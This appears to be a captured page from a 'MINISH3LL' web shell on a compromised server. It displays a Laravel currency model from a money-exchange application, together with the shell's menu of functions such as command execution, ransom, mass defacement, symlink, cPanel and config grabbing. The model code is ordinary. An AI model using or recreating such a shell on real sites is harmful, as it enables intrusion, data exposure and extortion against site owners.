KUJUNTI.ID MINISH3LL
Path : /var/www/html/mini-moneyexchange/app/Models/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/mini-moneyexchange/app/Models/Currency.php


<?php

namespace App\Models;

use Illuminate\Contracts\Auth\MustVerifyEmail;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
use Illuminate\Database\Eloquent\SoftDeletes;
use Illuminate\Database\Eloquent\Model;
class Currency extends Model
{
    use HasFactory, Notifiable, SoftDeletes;

    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = [
        'name',
        'user_id',
        'is_main_currency',
        'decimal_precision',
        'flage',
        'sample_money',
        'currency_code',
        'child_currency_id',        
        'min_exchange_amount'
    ];
    public function user()
    {
        return $this->belongsTo(User::class);
    }
    public function exchangeFromCurrencies()
    {
        return $this->hasMany(MoneyExchangeList::class,'exchange_from_currency_id', 'id');
    }
    public function bankAccounts()
    {
        return $this->hasMany(BankAccount::class);
    }
    public function getCashAmount($user_id){
        return  BankAccount::where('responsible_by_user_id',$user_id)->where('currency_id',$this->id)->where('is_bank',false)->orderBy('id','desc')->first();
    }
    public function exchangeToCurrencies()
    {
        return $this->hasMany(MoneyExchangeList::class,'exchange_to_currency_id', 'id');
    }
    // public function totalCashIn($start_date, $end_date, $user_id=null, $bank_account_id=null)
    // {
    //     $exchangeListIds = $this->exchangeFromCurrencies()->pluck('id');
    //     $datas = Transaction::whereBetween('created_at',[$start_date,$end_date])->whereIn('money_exchange_list_id', $exchangeListIds);
    //     if($bank_account_id){
    //         $datas->where('bank_account_id',$bank_account_id);
    //     }
    //     if($user_id){
    //         $datas->where('user_id',$user_id);
    //     }
    //     return $datas->sum('amount');
    // }
    public function startBalance($date, $is_bank, $user_id=null, $bank_account_id=null)
    {
        $bank_account_ids = $this->bankAccounts()->pluck('id');
        $datas = BankAccountTransaction::whereDate('created_at','<',$date)->whereIn('bank_account_id', $bank_account_ids);
        // dd($is_bank);
        if($is_bank!=null){
            $datas->whereHas('bankAccount', function($query) use ($is_bank){
                $query->where('bank_accounts.is_bank', $is_bank);
            });
        }
        if($bank_account_id){
            $datas->where('bank_account_id',$bank_account_id);
        }
      
        if($user_id){
            $datas->where('user_id',$user_id);
        }
        $credit_after_transaction = 0;
        $datas->orderBy('created_at','desc');
        $data=[];
        foreach($bank_account_ids as $index=>$baid){
            $temp = Clone $datas;
            $data = $temp->where('bank_account_id',$baid)->first();
            $credit_after_transaction = $credit_after_transaction+ ($data->credit_after_transaction??0);
            // unset($data); 
            // unset($temp);          
        }
        return $credit_after_transaction;
    }
    public function totalCashIn($start_date, $end_date, $is_bank, $user_id=null, $bank_account_id=null, $is_internal=null)
    {
        $bank_account_ids = $this->bankAccounts()->pluck('id');
        $datas = BankAccountTransaction::whereBetween('created_at',[$start_date,$end_date])->whereIn('bank_account_id', $bank_account_ids)->where('transaction_type','in');
        if($is_internal==true){
            $datas->where('transaction_id',null);
        }
        else{
            $datas->where('transaction_id','<>',null);
        }
        if($is_bank!=null){
            $datas->whereHas('bankAccount', function($query) use ($is_bank){
                $query->where('bank_accounts.is_bank', $is_bank);
            });
        }
        if($bank_account_id){
            $datas->where('bank_account_id',$bank_account_id);
        }
        if($user_id){
            $datas->whereHas('bankAccount', function($query) use($user_id){
                $query->where('bank_accounts.responsible_by_user_id', $user_id);
            });
            // $datas->where('user_id',$user_id);
        }
        return $datas->sum('amount');
    }
    // public function totalCashOut($start_date, $end_date, $user_id=null, $bank_account_id=null)
    // {
    //     $exchangeListIds = $this->exchangeToCurrencies()->pluck('id');
    //     $datas = Transaction::whereBetween('created_at',[$start_date,$end_date])->whereIn('money_exchange_list_id', $exchangeListIds);
    //     if($bank_account_id) {
    //         $datas->where('bank_account_id',$bank_account_id);
    //     }
    //     if($user_id) {
    //         $datas->where('user_id',$user_id);
    //     }
    //     return $datas->sum('amount_after_exchange');
    // }
    public function totalCashOut($start_date, $end_date, $is_bank, $user_id=null, $bank_account_id=null, $is_internal=null)
    {
        $bank_account_ids = $this->bankAccounts()->pluck('id');
        $datas = BankAccountTransaction::whereBetween('created_at',[$start_date,$end_date])->whereIn('bank_account_id', $bank_account_ids)->where('transaction_type','out');

        if($is_internal==true){
            $datas->where('transaction_id',null);
        }
        else{
            $datas->where('transaction_id','<>',null);
        }
        if($is_bank!=null){
            $datas->whereHas('bankAccount', function($query) use ($is_bank){
                $query->where('bank_accounts.is_bank', $is_bank);
            });
        }
        if($bank_account_id){
            $datas->where('bank_account_id',$bank_account_id);
        }
        if($user_id){
            // $datas->where('user_id',$user_id);
            $datas->whereHas('bankAccount', function($query) use($user_id){
                $query->where('bank_accounts.responsible_by_user_id', $user_id);
            });
        }
        return $datas->sum('amount');
    }
    public function totalFee($start_date, $end_date, $is_bank, $user_id=null, $bank_account_id=null)
    {
        $exchangeListIds = $this->exchangeFromCurrencies()->pluck('id');
        $datas = Transaction::whereBetween('created_at',[$start_date,$end_date])->whereIn('money_exchange_list_id', $exchangeListIds);
        if($is_bank!=null){
            $datas->whereHas('bankAccount', function($query) use ($is_bank){
                $query->where('bank_accounts.is_bank', $is_bank);
            });
        }
        if($bank_account_id){
            $datas->where('bank_account_id',$bank_account_id);
        }
        if($user_id){
            $datas->where('user_id',$user_id);
        }
        return $datas->sum('fee');
    }
    public function toMainCurrency($amount) {
        $mainCurrency = Currency::where('is_main_currency',true)->first();
        if($this->id!=($mainCurrency->id??0)) {
            $moneyExchangList =MoneyExchangeList::where('exchange_from_currency_id',$this->id)->where('exchange_to_currency_id',$mainCurrency->id)->firstOrFail();
            if($moneyExchangList->calculation=='x') {
                return $amount*$moneyExchangList->current_rate;
            }
            else {
                return $amount/$moneyExchangList->current_rate;
            }
        }
        else {
            return $amount;
        }
        
    }
    public function transfers()
    {
        return $this->hasMany(Transfer::class);
    }
}

© KUJUNTI.ID